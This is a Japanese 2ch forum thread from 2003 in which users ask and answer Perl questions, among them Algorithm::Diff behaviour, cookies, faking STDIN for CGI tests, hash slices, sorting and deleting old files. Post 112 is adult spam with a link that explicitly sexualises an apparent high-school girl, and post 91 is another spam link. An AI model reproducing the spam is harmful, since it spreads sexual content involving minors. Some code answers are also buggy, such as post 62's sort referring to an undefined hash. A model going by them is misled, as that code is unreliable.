Perlについての質問箱 6箱目

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
"The duct tape of the Internet"こと、
Perlについての質問箱です
"There's more than one way to do it"ということで
Perlの奥深さについて皆で語り合い、追求してまいりましょう。

CGIについての質問は板違いです。WEBプログラミング板でどうぞ。
CGIとPerlの区別がつかない人もWEBプログラミング板に行ってください。
(WEBプログラミング板 http://pc2.2ch.net/php/ )

CGIの質問は答えがPerlと全然関係ない話に帰着する場合が多かったりするので
WEBプログラミング板に行って聞いたほうが得ですよ。
このスレでは(CGI以外の)純粋にPerlのみに関係する質問を取り扱っていこうと思います。

過去ログは>>2-5あたり
過去ログ

Perlについての質問箱 2箱目
http://pc3.2ch.net/tech/kako/1033/10336/1033688230.html
Perlについての質問箱 3箱目
http://pc2.2ch.net/tech/kako/1041/10412/1041205885.html
Perlについての質問箱 4箱目
http://pc2.2ch.net/test/read.cgi/tech/1048519394/l50
Perlについての質問箱 5箱目
http://pc2.2ch.net/test/read.cgi/tech/1053053082/
PerlはそろそろOSに組み込んだ方がよいんじゃないでしょうか。
PalmOSの代わりにPerlOSなんてどうでしょう。
>>3
おまえがやってみろ痴呆が
餓鬼がモウソウタレテンジャネーヨ
前スレで diff が何とかかんとかという話があったけど
何がおかしいのかわからない俺はおかしい?
WARRRRRRRRRRRRRRRRRRRRRRNIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIHHHHHHHHHHHHNG
コノスレハいたち外です
移動をよろしくお願いします
PHP板は半分はPErlのスレで埋め尽くされています
とくにCGIは「こちらできいてください
削除依頼出してくだっさい

Perl コーディング初心者質問コーナー Part26
http://pc2.2ch.net/test/read.cgi/php/1059043704/
Perl コーディング初心者質問コーナー Part26
http://pc2.2ch.net/test/read.cgi/php/1059043704/
Perl コーディング初心者質問コーナー Part26
http://pc2.2ch.net/test/read.cgi/php/1059043704/
Perl コーディング初心者質問コーナー Part26
http://pc2.2ch.net/test/read.cgi/php/1059043704/
Perl コーディング初心者質問コーナー Part26
http://pc2.2ch.net/test/read.cgi/php/1059043704/
普通分かるだろ。
おかしいのは あ い つ の 脳 味 噌
8デフォルトの名無しさん:03/08/12 23:30
前スレの989です。
書き方が少し分かりにくかったですね。

$hoge="\x9A";

となっているときに
$hogeの中身を「\x9A」という文字列に変更したいのです。
つまり表示したときに「\x9A」となっていればいいです。

標準関数でやることではないですか?
$hoge=~s/\x9A/\\x9A/;
9ハッカ飴:03/08/12 23:35
>>5>>7
ネタなのかマジなのかわからん・・・・
でた
>>8
$hoge =~ s/(.)/'\\x' . uc unpack 'H2', $1/eg;
>>8
$hoge='\x9A';
>>11
うぉ!ありがとうございました!
14ハッカ飴:03/08/13 12:14
>>5
じゃあ俺の話は忘れていいから、Algorithm::Diffのドキュメントにある例をLCS()に掛けてみれば良いよ。
ドキュメントと違う結果になるから。

あと>>7、宛て名でも書いとけ。
perl始めたばかりですが、
Webフォームからユーザー名$userを書き込んで
actionスクリプトにある$userに反映させるにはどうしたらいいんですか?
1615:03/08/13 13:25
肝心なこと書き忘れましたが、
cgiユーザーはwwwです。

で、ユーザー側でquotaを調べたいのですが、
このままでは、ユーザーがwwwなので出来ません。

apacheがSuEXECだといいのでしょうが、、、、
他のやりかたで、cgiをroot権限で動かすこtなんか出来ますか?

それで駄目なら、ユーザー名を書き込むことによって
root権限のシェルスクリプトが起動するようにとか出来ますか?
1715:03/08/13 13:32
あ、
板違いですた!

   ∧∧
   /⌒ヽ)<逝ってくる
  i三 ∪
 〜三 |
  (/~∪
  三三
 三三
三三
板違い。
鼬がいい
>>14
Algorithm-Diff-1.15.tar.gz落としてきてやってみた。

use Algorithm::Diff;
use strict;

print "--LCS----------------------\n";

my @seq1 = qw(a x b y c z p d q);
my @seq2 = qw(a b c a x b y c z);
print "@seq1\n@seq2\n\n";

my @result = Algorithm::Diff::LCS(\@seq1, \@seq2);
print "@result\n";

print "\n--diff---------------------\n";

@seq1 = qw(a b c e h j l m n p);
@seq2 = qw(b c d e f j k l m r s t);
print "@seq1\n@seq2\n\n";

@result = Algorithm::Diff::diff(\@seq1, \@seq2);
foreach my $hunk (@result) {
 print "-" x 10 . "\n";
 foreach (@$hunk) {
  print join(", ", @$_) . "\n";
 }
}
2120:03/08/13 14:06
で、結果がこんな感じ。

--LCS----------------------
a x b y c z p d q
a b c a x b y c z

a x b y c z

--diff---------------------
a b c e h j l m n p
b c d e f j k l m r s t

----------
-, 0, a
----------
+, 2, d
----------
-, 4, h
+, 4, f
----------
+, 6, k
----------
-, 8, n
+, 9, r
-, 9, p
+, 10, s
+, 11, t

diffの9桁目がドキュメントと逆になってるけど、別に問題はないと思われ。
22ハッカ飴:03/08/13 16:40
> --LCS----------------------
> a x b y c z p d q
> a b c a x b y c z
>
> a x b y c z

これじゃあ分からないよ。
問題は
> a x b y c z
の a がどっちの a かということ。

ドキュメントには2つめのaだと書いてあるけど、実際はそうじゃないんだ。
23ハッカ飴:03/08/13 16:41
問題はLCSにあるようだ。
質問なのですがcookieによる認証を要求するサイトとかがいろいろとありますが。
こういう場合にIEなどの普通のブラウザなどではそのまま認証を
受ければHTMLファイルを取得することができブラウザ上に表示されるわけですが、
これをPerlで行うにはどうしたらよいのでしょうか?

わたしが考えたのはIEのcookieをPerlでも使えるようになんか設定をいじればいいのでは
ないかと思ったのですが方法がわかりませんし、もっといい方法があるのかもしれませんが
私にはわかりません。

ちなみに環境はWin2K+ActivePerl5.8.0.804で、HTTP::Liteで取得しています
もしわかる方がおられたらお願いします。
>>24
$ENV{'HTTP_COOKIE'}
2620:03/08/13 18:45
>>22
スマンかった。
LCSの方の配列でdiffやったら、確かにお前さんの言う通りの結果になった。

他にも似たようなパターン作ってやってみると、
必ず先頭を一致させて途中に埋め込んだような結果になるな。

確かにドキュメントとは違うが、一般的にはこういう結果だと思う。
俺はこの分野に詳しいわけじゃないから理由はわからないが、
なるべく前の方に一致する点を置くようにしてるんじゃないかな。

綺麗に一続きの部分を取り出したいって気持ちもわからなくはないが。
2724:03/08/13 19:38
>>25
それをいれて実行してみたのですがその変数には空文字しか入ってませんでした。

私が機能として欲しいのは
あるURLに対して$http->requestを発行したときに相手側にcookieが送られるか何かして
認証を受けて$http->bodyでHTML本体が取得できるようにしたいのですが
$ENV{'HTTP_COOKIE'}に何か入れなければならないのでしょうか?

あと書き忘れましたがソースです
$http->reset();
$http->add_req_header("","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)");
$ret = $http->request(対象URL);
if($ret ne "200"){
### エラー時の処理
}
$list_body = $http->body();

お願いします。
2820:03/08/13 19:51
>>26
なんか勘違いしてた。
LCSって連続した共通部分が最も長いパターンを導出するのかと思ってたんだけど違うんだな。

ttp://lecture.ecc.u-tokyo.ac.jp/~yamaguch/pub/cp2-9/LCS.html

a b x b y c z p d q  ←2番目にbを追加してみた
a b c a x b y c z
で返ってくるのが
x b y c zじゃdiffとして役に立たないし。

というわけで、Algorithm::Diff::LCSはおかしくない。

diffの結果一続きになってくれない理由は相変わらず不明だが、
そうしなければいけないわけでもないし。

とりあえずドキュメントが間違い&例が悪いに一票。
3024:03/08/13 20:47
>>29
これでちょっと調べてみます。
ありがとうございます。
>>30
LWP::UserAgent
HTTP::Cookies
HTTP::Headers
この辺も調べれ

ここまでくると、WebProgの範疇だな。
3231:03/08/13 21:11
老婆心で忠告だが。。。
WebProg板で同じ質問すると、
「散々がいしゅつ」
「過去ログ見れ」
「ググれ!」
って言われるからな。
3324:03/08/13 21:44
>>31-32
あろがとうございます。向こうの板の過去ログも調べてみます。
最近のム板は初心者に優しくなったな。
Perl実行中に STDIN にデータをつっこんで、
取り出したいんですがそんなことできますでしょうか?

イメージとしてはこんな感じなのですが↓
print STDIN "unko";
print <STDIN>; # unkoを表示
STDIN に突っ込んだものは、 STDOUTから出てくるのが筋じゃないか。
print STDIN "unko";
print <STDOUT>;

できるか、ぼけ。
print <STDIN>;
print "abo-n\n";
print <STDIN>;

イメージとしてはこんな感じでないのかな?
>>35
メデタイな
↓ a.pl
print <STDIN>;
↑ a.pl

# echo unko | perl a.pl

↓実行結果
unko

実行可能な例としてこんな感じなんですが、
このパイプで標準入力にデータをつっこむ作業をperlのなかでやりたいのです。

>>36 できねえのかよ!こんちくしょう!うわーん!
>>37 白いカーソルが点滅してうんともすんとも言わずにとまります。
自分でつっこんで自分でよんで。
意味あんのか?
$ tukkomu.pl | nannkasuru.pl
でいいんでないの?
4235:03/08/14 00:14
>>40
CGIの軽い動作テストをするためCGI環境エミュレータがほしいのです
require "cgiemu.pl"; するとCGI用の環境変数とか設定されてCGIの環境ができる感じ
QUERY_STRINGなどを得るのにいちいちブラウザからアクセスしないといけないのが面倒なもんで

$ENVとかのデータは適当にデータを定義すれば用意出来るけど、
POST(標準入力)のデータは用意できないので困ってたんですよ
標準出力のためにコマンドラインからいちいちパイプするのは面倒だし
requireだけで済ませたいし。

でも、大した用途でもないからあきらめます
4335:03/08/14 00:25
うわああぁあぁぁ!あやしい!あやしいけどこんな方法で自己解決
これでPOSTメソッドのテストができるよ。ありがとう!

*STDIN = *DATA;
print <STDIN>;
__END__
data1=aaa&data2=bbb&data3=ccc
44デフォルトの名無しさん:03/08/14 17:09
エラー処理はdieよりCarpモジュール使ったほうがいいのですか?
45あぼーん:あぼーん
あぼーん
46デフォルトの名無しさん:03/08/14 18:55
PerlでWindowsのスクリーンセーバーを作りたいのですが。
そうですか。
HTTP::Parser のサンプル集があるサイトがあれば教えて下さい。
49デフォルトの名無しさん:03/08/14 20:02
PerlでWindowsのスクリーンセーバーを作りたいのですが。
どなたか作り方を教えていただけないでしょうか?
絵がぐるぐる動くようなものではなく、あるBBSのデータを
HTTPでGETしてきて、テキスト表示するようなものを
作りたいと思っております。
そうですか。がんばってください
PerlからWin32APIを呼べるんならできると思われ。
>>49
アクティブデスクトップで頑張れ
53ハッカ飴:03/08/14 23:48
>>26
俺のほうこそLCS()に掛けるだけですぐ分かるみたいな書き方をして悪かったよ。
54ハッカ飴:03/08/14 23:48
>>28

そうか、LCSのLが「最長」だから、てっきり連続しているものと思ってたが、細切れでもいいんだな。

例が悪いといえば、ドキュメントのこの部分は例を間違えているな。

| a.x.b.y.c.z.p.d.q
| a.b.c.a.x.b.y.c.z
|
| A naive approach might start by matching up the C<a> and C<b> that
| appear at the beginning of each sequence, like this:
|
| a.x.b.y.c.........z.p.d.q
| a...b...c.a.b.y.c.z

単純な方法でやると結果がどうなるかという例だけど、下の例(処理結果)で x が抜けている。
もし x があれば、この方法でもちゃんとLCSが見つかりそうだ(笑。

a...........x.b.y.c.z.p.d.q
a...b...c.a.x.b.y.c.z

----------
書き換え自由な板に利用しようかと思っていたが、書き込みの差分を求めるにはちょっと使いにくそうだ。
55ハッカ飴:03/08/15 00:08
>>39
カーソルが出たままで止まっているのは、キーボードからの入力を待ってるんだよ。
標準入力とは具体的にはキーボードだから。
キーボードから何か打ち込んでCtrl+Zで入力できるよ。

----------
標準入力を実行中に変える方法は思いつかないけど、それ以前、つまり実行するときに
perl a.pl <post.txt
とすればテキストファイルの中身を標準入力として扱える。

もう1つ、やっぱり標準入力を実行中に変えるわけじゃないけど、PerlスクリプトからPerlスクリプトを実行してもできるんじゃないかな?
つまり、echo unko|perl a.pl をPerlスクリプトの中で実行するということ。
使ったことが無いんで、すぐにサンプルは思いつかないけど、Perlではパイプを使って好きなコマンドを実行できるらしい。

って>>43で解決してるのか(笑。
56デフォルトの名無しさん:03/08/15 10:16
$sth->bind_columns( \( @row{ @{$sth->{NAME_lc} } } ));
while ($sth->fetch) {
  print "$row{region}: $row{sales}\n";
}

Perlの小技でみたのですが、どうしてこれで、
$row{region}
に値が入るのですか。@row{ ... }の部分のしくみがわからないです。。。
どなたか解説してくだされ。。。
(動かすのには成功しているのですが、@row{ ... }の部分をどう解釈するのがわからない。。。。)
>>56
配列スライスでググるか
Data::Dump::dumpで中身書き出せ
58ハッカ飴:03/08/15 11:32
>>56
@row{...}は%rowの一部分だと思う。
ハッシュの一部だけを扱いたいときにそう書くことができるんだ。

さらに、これは左辺値としても使える。
例えば、一度に複数の値をハッシュに入れたいときはこうできる。
@hash{a,b,c} = qw(A B C);

(確認するにはこれを実行)
print "\$hash{$_}:$_\n" foreach keys %hash;
59ハッカ飴:03/08/15 11:38
>>58
確認用のコードが違ってた(笑。
これね。
print "\$hash{$_}:$hash{$_}\n" foreach keys %hash;
60山崎 渉:03/08/15 15:13
    (⌒V⌒)
   │ ^ ^ │<これからも僕を応援して下さいね(^^)。
  ⊂|    |つ
   (_)(_)                      山崎パン
質問です、誰かお願いします。
%aa=("hanako","12","tarou","20","ichirou","5");
となっているとします。
キーが名前で値が年齢なんですが、
年齢でソートし表示させる場合、
ichirou 5
hanako 12
tarou 20
とするにはどうすればいいのですか?
どうしてもうまくいかないのです。お願いします。
>>61
perldoc perlfunc
でsortを検索してください
そしたら↓みたいなのがのってます

#!/usr/bin/perl
%aa=("hanako","12","tarou","20","ichirou","5");
my @ageAV = sort { $age{$a}<=> $age{$b}} keys %aa;
foreach $i (reverse @ageAV){
print "$i $aa{$i}\n";
}

このスレには馬鹿しかこないから今度から
↓出来で聞いてね
Perl コーディング初心者質問コーナー Part27
http://pc2.2ch.net/test/read.cgi/php/1060808783/
63デフォルトの名無しさん:03/08/15 18:04
>>58

なるほど。書いていただいたサンプルと、自分であれこれ試してみたらなんとなく
理解できたような気はします。ありがとうございました。

>>61
%aa=(
"hanako" => 12,
"tarou" => 20,
"ichirou" => 5
);


print join "\n" =>
map { "$_ $aa{$_}" }
sort { $aa{$a} <=> $aa{$b} }
keys %aa;
65デフォルトの名無しさん:03/08/16 14:30
<table><tr><td class="iran">いらない部分</td><td class="iru">いる部分</td></tr></table>
↑こんな構造の30KBほどのHTML(複数行)から20KBほどの文章を切り出すのに
$/ = undef
open(HTML, "tmp.html");
$_ = <HTML>;
close(HTML);
if(/<td class="iru">([\w\W]+?)<\/td>/im){ print $1; }
とやると
Error:Runtime Exception
と出てしまいます。小さいファイルだとエラーにならないのですが、
これは正規表現で大きな文字列をマッチさせてはいけないということなんでしょうか。
大きなファイルの特定の部分から特定の部分まで読み込む方法があればそれでいいんですが
自分の頭ではこんな方法しか思いつきませんでした。

Active Perl 5.005_03 (jperl)を使っています。

66デフォルトの名無しさん:03/08/16 16:56
>>65
/<td class="iru">(.+)<\/td>/i
>>65
$/ = undef の後ろに ; が無いのは typo だとして、
ActivePerl Build522 on Win98SE で試したけど、
1MB のファイルでやっても無事終了。

>>66
それ等価じゃないよ。[\w\W] が気持ち悪いなら
m|<td class="iru">(.+?)</td>|is
>>67
失礼しました
6965:03/08/16 17:48
>>67
自分の所だけですか…_| ̄|○
数十KB程度でだめになるなんてどう考えてもおかしいとは
思っていましたが(汗)どうしてだろう。OS再起動してやり直してみます。
7065:03/08/16 19:47
相変わらずエラーでますが
jperlをやめてperlでやったらOKでした(汗)
71デフォルトの名無しさん:03/08/16 20:07
正規表現で空データにマッチさせるのはどうすればいいんだろ?
$i=~//
だとできんのだが
/^$/
length($i)==0
74デフォルトの名無しさん:03/08/16 20:21
>>72
キタyo--------
そんな風に書くとはシランカッタ
空文字列かどうかの判断に正規表現を使うおもしろい人。
$str eq ""
/^$/は空文字列にマッチするための正規表現じゃない。

$ perl -e 'print "\n" =~ /^$/, "\n"'
1
>77
/\A\z/ ならOK?
79デフォルトの名無しさん:03/08/17 02:05
system("find $dat/ -type f -atime +$deldatdays -exec rm {} \\;");
XREA鯖でexecが使えないので代わりのコマンドみたいなのないでしょうか?
>>79
XREAではFile::Find は使えないのか?
79の質問どっかで見た予感sage
つか、ディレクトリ開いて自前で処理すればいいと思われ。
denver% find2perl '$dat/' -type f -atime +'$deldatdays' -exec rm {} \; [~]
#!/usr/bin/perl
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
if $running_under_some_shell;

require "find.pl";

# Traverse desired filesystems


&find('$dat/');

exit;
sub wanted {
(($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
-f _ &&
(int(-A _) > $deldatdays) &&
(unlink($_) || warn "$name: $!\n");
}
>>79
xargsは?
>>78
OK
85デフォルトの名無しさん:03/08/17 20:28
use vars qw/$scalar @array %hash/;とour ( $scalar , @array , %hash );は同じと考えてOKですか?
$input = <STDIN>;
としてキーボードから入力を得ているのですが、
キーボードからの入力がそのままコンソール上に表示されてしまいます。
これではパスワード等の入力に支障があるので入力した文字を * で表示するようにしたいのですが、
どうしたらよいでしょうか?
>>86
それを行うには標準入出力を制御する必要あり。もっとも、簡単な方法として
ANSIエスケープシーケンスを使って、「非表示」にする方法があるけど、
これだと、画面のハードコピー取られるとハードコピー上には「非表示」に
したはずの文字データが入ってしまうという罠がある

プラットフォーム書いてないからこれ以上のアドバイスがしようがない…。
windows 系なら Win::Console 使えば、前述の標準入出力の制御ができる。
8886:03/08/18 00:38
>>87
プラットフォームによって別のコードになってしまうんですか。
そのまま別のプラットフォームへ持っていったりして使う予定だったので、
プラットフォーム依存になってしまうのは困ります。
何か、Perlでは無理そうなので諦める事にします。
ありがとうございました。
>>85
ourの方は変数そのものはグローバルだけど、可視性はブロックスコープになる。

#!perl
use strict 'vars';
$our = 1; # compile error
$vars = 1; # compile error
{
our $our;
use vars qw($vars);
$our = 1; # ok
$vars = 1; # ok
}
$our = 1; # compile error
$vars = 1; # ok
90デフォルトの名無しさん:03/08/18 01:44
Perlでキーボードやマウスの操作を制御したいのですが
そのようなことは可能でしょうか?
91デフォルトの名無しさん:03/08/18 01:46
携帯サイトのようです。

http://www.leap-yuki.com/r/u.htm
>>90
環境依存
マウスに駆動系付いてれば操作できるってことですか?
キーボードはピアノの自動演奏みたい動くんですかね?
9490:03/08/18 07:17
環境書くの忘れてました。Windowsです。
調べてみたらWin32::Consoleでできるみたいですね。
しかしPerlは何でもできますね。失礼しました。
95デフォルトの名無しさん:03/08/18 08:31
>>79 >>80 >>82
ありがとうございます。
が、一日がんばってみましたがうまく削除してくれません
9685:03/08/18 15:24
>>89
解りました。どうもありがとうございます。

>>95
指定したフォルダ内を全削除するperlコードなら前作ったの(↓)がある。
あとはこれに削除条件でもつけれ。
sub rm{} の中の名前無し関数 sub{} の中身だけ直せばできるはず。

rm("./削除するフォルダ"); # 使用例

sub rm{
  dirwalk( $_[0], sub{ (-d $_)?rmdir $_:unlink $_;} );
}

sub dirwalk {
  my $path = $_[0];
  my $func = $_[1];
  my $file;
  opendir( DIRWALK, $path ) or ( warn "Can't open $path.\n" and return 0 );
  readdir( DIRWALK ); # . を破棄
  readdir( DIRWALK ); # ..を破棄
  foreach $file ( readdir( DIRWALK ) ){
    &dirwalk( "$path/$file", $func ) if( -d "$path/$file" );
    &$func($_="$path/$file");
  }
  closedir( DIRWALK );
}
>>82 こんなところに削除条件のコードがあったなんて。
多分、↓こんな感じかな?
File::Find があれば dirwalkなんて関数はいらないので置き換えてくれ

&sakujo( "/どこか", 5 );

sub sakujo{
  $deldatdays = $_[1];
  dirwalk( $_[0], sub{
      (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) &&
      -f $_ &&
      (int(-A $_) > $deldatdays) &&
      (unlink($_) || warn "$name: $!\n");
    }
  );
}
sub dirwalk {
    :
    :
9986:03/08/18 23:23
関係ないけど>>90=87っぽいな。
10090:03/08/19 01:02
なんかWin32::Consoleではキーボードやマウスの制御までは
できないみたいですねぇ・・・

>>99
87は私じゃないですよー
むしろ>90=>86っぽい
    ∧ ∧___  ハニャ〜ン♪
   /(*゚ー゚) /\
 /| ̄∪∪ ̄|\/
   | 汎用C  |/
     ̄ ̄ ̄ ̄






                       __∧ ∧  アヒャー オレモツカエヨナ!!
                      /\  (*゚∀゚)\
                      \/| ̄∪∪ ̄|\
                        \| 字通Perl| ;;;;;;;,,,,
                             ̄ ̄ ̄ ̄,,;;;;;;;;
                           ;;;;;;;;;;;;;;;;;'''

>>100
マウスはないっぽいね。
大人しくWin32::API使うとか。
まぁAPIリファとかないときついと思うケド。
104デフォルトの名無しさん:03/08/20 16:33
perlの日本語対応について教えていただきたいんですけど

perl5.005_03へパッチ適用してjperlで使ってたんですが
それ以降の日本語対応ってどのようになってるんでしょうか?

perl5.8.0とか、いままでのperlプログラムがそのまま使えるんですか?
105sage:03/08/20 17:15
教えて下さい。

M君のサーバーにアクセスしてきた人の中で、
K君のファイルにアクセスした人を、
アクセスログ解析して
グラフなり表なりになるものをperlで作るやりかたを教えて下さい。

お願い致します。
>>105
マルティ
( ノ∀`)アチャー
>>107
( ノ∀`)ノチャー
110デフォルトの名無しさん:03/08/20 20:38
このスレみてて思うのですが、jperlを使う利点って何でしょうか?
Perlだけで事足りると思うのですが、、、
前は足りなかったから。
112デフォルトの名無しさん:03/08/20 20:54
かなりの美少女が登場します。丸顔で笑顔が非常にそそります。
制服からしても現役女子高生なのでしょう.。
ペニスのしゃぶり方も非常にいやらしく、慣れています。
ビラビラは大きめでクリトリスは綺麗に剥けており丸見え。
出し惜しみのない本当に良い作品です。
フィニッシュは口内発射でまったく羨ましい限り。
無料画像を観てちょ。
http://members.j-girlmovie.com/main.html
11390:03/08/20 22:59
>>103
そうですかー。ちょっとWin32::API勉強してみます。
114104:03/08/21 14:14
>>109
ありがとう
ほしかった情報そのものです。
115デフォルトの名無しさん:03/08/22 02:47
23 名前:名無しさん米国がえり [] 投稿日:03/06/24 22:32
JDK1.5入手してみましたが、すごいです。
多重継承、ASE(新国防省最強暗号)サポートはもちろんのこと
RAWソケットの実装なども考えられてるらしいです。
Disassemble対策もとられさらにC#に対抗して
Java/Fortran Java/Python(これは前からあるが) Java/Perl(JPLs)
Java/C などが発表されるそうです。
噂ですがSUNではないどこかの企業(赤X)がJAVA C#なるものを開発してるようです
簡単に言うと JAVA2C# ですね2005年が楽しみです。
http://ex3.2ch.net/test/read.cgi/shar/1054887959/
>>115
リンク先(以下略)
シャア専用ではそんな話をしているのか。
やっぱ3倍はやいんか?
【プログラミング】Jet Propulsion Laboratories / Java Perl Lingo
・Perl使いの第一人者Larry Wallが、「何でもかんでもJava」の
嵐が吹き荒れていた、98年頃突如Java熱病に冒され、PerlとJavaを
くっつけるという無謀な試みに情熱を燃やした時期のその燃えかすのこと。
Perlの変数の$をと間違えまくって大変なんですけど
$を「 」と間違えるの?
それは頭おかしいんじゃないか?
122デフォルトの名無しさん:03/08/24 13:55
そういえばJPLはどうなったんでしょうかねぇ。
Perlのsleepって秒単位ですけど、もっと細かい単位でウェイトをかけたい
場合はどうすればいいのでしょうか?
>>123
select
>>123
Time::HiRes
126デフォルトの名無しさん:03/08/25 01:46
perlのqr//はどんな時に使うのでしょうか。
正規表現の事前コンパイル…ということだそうですが、よく解りません。
qr/パターン/とやると、正規表現がどう変わるのでしょうか?
Perlって構文汚い割にはインタプリタのソースは割りと綺麗ですね。
128デフォルトの名無しさん:03/08/25 05:32
テキストファイルの特定範囲(aaaaaからzzzzzという文字列まで等)内で、
特定文字列を含む行の次の行を抜き出す事は可能ですか?

もし出来るなら後は自分で調べますので出来るかどうか教えてください。
>>128
<begin> 〜 <end>
の間隔が短ければ正規表現で抜き取ればいいし、
長くなるなら<begin>と<end>の位置を検索して位置を特定してから
必要バイト数だけ読み込んで "\r\n" で splice して(途中略)
すればいいと思われ。
130デフォルトの名無しさん:03/08/25 07:00
>>129
なんで"\r\n"?
131デフォルトの名無しさん:03/08/25 12:40
MS-DOSでPerlを実行させる方法を教えてくださ〜い
>>131
そんくらい自分で調べてくださ〜い
133デフォルトの名無しさん:03/08/25 23:29
>>131
perl のあとにpast
>>133
意味が分かりませぬ。
>>134
そうですか。
>>135
そうだんです
( ゚д゚)ポカーン
Perlコーディング初心者スレでスレ違いって言われたんで聞かせてくらさい。
新しいマシンにRedHat9入れたら、Perl5.8.0が入ってきました。
ところが、5.8からNDBM_Fileがないので、前に作っていたデータベースが
使えない。5.6.1のを持ってきたけど(NDBM_File.pm, NDBM_File.bs,
NDBM_File.so)、エラー出る。requireしてるXLoaderとかの変更があるみたい。
元のマシンでNDBMからSDBMに変換して新マシンにコピーして使うか、
新マシンに5.6.1入れるか、どっちがいいと思う?
いろいろググったが、情報ないんで聞かせてくらはい。
139138:03/08/28 12:19
解決しますた。こめんなさい。
( ゚д゚)ポカーン
1番不明なのがID表示機能
どうやってやるんだすか?
何のID
$$
$_
質問ー

uncode::map のモジュールをwin2000に入れようと思って
CPANから落として map.pm と mapフォルダを
lib/unicode に突っ込んだんんだけど、実行すると

can't locate loadable object for module Unicode::Map in @INC

ってエラー出ちゃう。どうもmapフォルダの位置がわかってないっぽい。
makeで入れてないことが原因だと思うんだけど、winでそういう
makeが必要なモジュールはどうやっていれるのが正解なの?
もしくは、どうやったらちゃんと動くように出来るんだろう。
トニー助けて!
146145:03/08/29 13:51
自己完結。ppmって便利だね・・・・・・・・・・・・・・・・・
>>145
CPANから落とすならインストールする前に付属のドキュメントを嫁。
あんな簡単な英語を読めないならppmを使いなさいってこった。
148デフォルトの名無しさん:03/08/30 16:35
そしてアホがあっちに質問しないようにこっちもage!
149天才:03/08/30 17:34
>>145
それはパスの問題では?
ちゃんと【use lib〜】で指定しているか?
そんな初歩的なこともわかんないんじゃこの先厳しいぞ
>>149
さすが天才!!!
151デフォルトの名無しさん:03/08/30 23:27
誰かWin32::OLEを使ってExcelファイルの読み書きをしたことがある人いますか?
あるんじゃないでしょうか。

↓次の方どうぞー
いるんじゃないでしょうか。

↓次の方どうぞー
Perl使ってまでExel触りたかねーんじゃないでしょうか。

↓次の方どぞー
>>151
単にExcelのデータを読み書きしたいなら
Spreadsheet::ParseExcel、Spreadsheet::WriteExcelがあるよ。
>>154「Exel」なんかさわりたかないねぇ。
「E・x・c・e・l」だから(w
器が小さいね
ほんとだよね
154=157=158
>>159
代入ですか。
つまり「同一人物ということにしたい」という意思の表れなわけですね:)
>>156「E・x・c・e・l」なんかさわりたかないねぇ。
「Microsoft® Excel」だから(w

154=157=158=160=161が無駄に必死なスレはこちらでよろしかったでしょうか?
E・x・c・e・lって何?
もう粘着ヴァカはほっとけよ。
Exelって何?
相変わらずの糞スレっぷり
>>162
なんでそんなに必死なの?
仕事でSpreadsheet::ParseExcelなら使ったことあるよ。
今までxlsで管理してたデータを新しく作るシステムにインポートしたいとかいって。

あと、運用側がPCの知識あまりないからxlsでデータ管理できるようにして欲しい
って言われたときも同じことやったな。

結構重かったので、もう使いたくねーな。
169168:03/09/01 14:06
Spreadsheet::ParseExcelが悪いというよりも、
perlでそんなもん読み書きするのがどうかと思った。
170デフォルトの名無しさん:03/09/01 20:35
以前ほかのところに誤爆して無視されてしまったので、ここで聞いてみようかな、と思うのですが、
UNIX や Linux で perl から ssh を呼び出してパスワードも自動で入力して
リモートマシンをコントロールしたいのですが、単に open で ssh を呼び出したりすると
passphrase などを聞かれるところでどうしてもつまづいてしまいます。
パスフレーズも含めて全部自動で行いたいのですが、何かよい方法ないでしょうか。
ちなみにローカルマシン起動と同時に無人でやりたいので、ssh-agent も使えません。
rsh はちょっとリモート側の管理上の都合でできません。うーむ。誰かお願い!
172デフォルトの名無しさん:03/09/02 12:19
localtimeの返り値が変なんですけど、回避する方法はあるのでしょうか?
11/30に一日足すと11/31が返ってくる気がするのですが・・・

@time=localtime (1072753200);
print"$time[4]-$time[3]\n";
@time=localtime (1072753200+24*60*60);
print"$time[4]-$time[3]\n";

結果
11-30
11-31
12月は31日まであるからなぁ
>>167
ごめんなさい。僕がバカでした。
つーか日も0から始めろ!>LarryWall
>174
悪いのはThompsonかRitchieあたりではないかと。

>>169
そーですね。すまん>Larry
でもマルチプラットフォーム考えたらlocaltimeを生で使わず
自前のルーチン持つのが正解だったのでは、と思う。
177デフォルトの名無しさん:03/09/02 12:55
さっきから誤爆しまくっているこいつはなんなんだ?
どうでもいいけど、レス番号ずれてるよ>localtimeの人
ソースの差分を取るソフトを知りませんでしょうか
>>179
diffがいいと思う。patchと組み合わせれば最強。
ありがとうございます。
早速探してみます。
182デフォルトの名無しさん:03/09/03 17:45
Spreadsheet::ParseExcel使うならWin32::OLE使ったほうがまし。
183168:03/09/03 20:14
>>182
Linux上で動かすことになってたのよ。
こんいちわー。
perlのプロセスID($$)は、どのような基準で作られているのでしょうか??

また、時間を経た一度と一度の起動(つまり直接関係ない別のプロセス)を、
厳格に「別だ」と認識する方法はありまつかでしょうか?

$$をファイルに記録しようと思ったのですが、Aプロセス終了後に再度プログラムを実行すると、
まったく同じプロセスナンバーが発行されまつた

m(__)m
perlに限らず、プロセスIDはOSが割り当てる
「その時に存在するプロセス達の中で一意」であるだけ。
$^Tにそのプロセスを起動した時間が入ってるのでそれを使えばそれなりに識別できるが…
厳格に識別するには外部ファイルを利用するしかないんじゃないかな。
186デフォルトの名無しさん:03/09/05 11:21
PerlerのみなさんはVBプログラマと同じように、
糞コードに遭遇する確立が高いと思われますが、
そういったときはどうしていますか?
こういう作業がプログラマとして一番消耗すると思われますが。
Perlなりのリファクタリングのテクニックがあれば教えてください。
187184:03/09/05 13:32
>>185
遅くなりましたー。ありがとうございます。
なんか厳格には無理そうなので、複数の要素を使用し、
「極めて別っぽい」ってのを出す方法にしたいと思います。

>>186
糞コードは1から作りなおしまつ。
めんどうな時はそのまま糞コード使いまつ。
まぁ、ナニをするプログラムってのにもよるけど。。
Perlで大きなプログラム自体あまり組まないね。
一日平均10個ぐらいの使い捨てスクリプトと、
100個ぐらいのワンライナー書いてる。
多いなあ。
俺は使い捨てはあんまり作らん。
ワンライナーは一日10個ぐらいかなあ。
ワンライナーってなんですか?
>>190
one liner 1行スクリプトの事

perlに慣れてると、パイプで繋げたり、sed/awk 使うよりも楽な事が多い
何命令ぐらいまで1ライナーで書いてます?
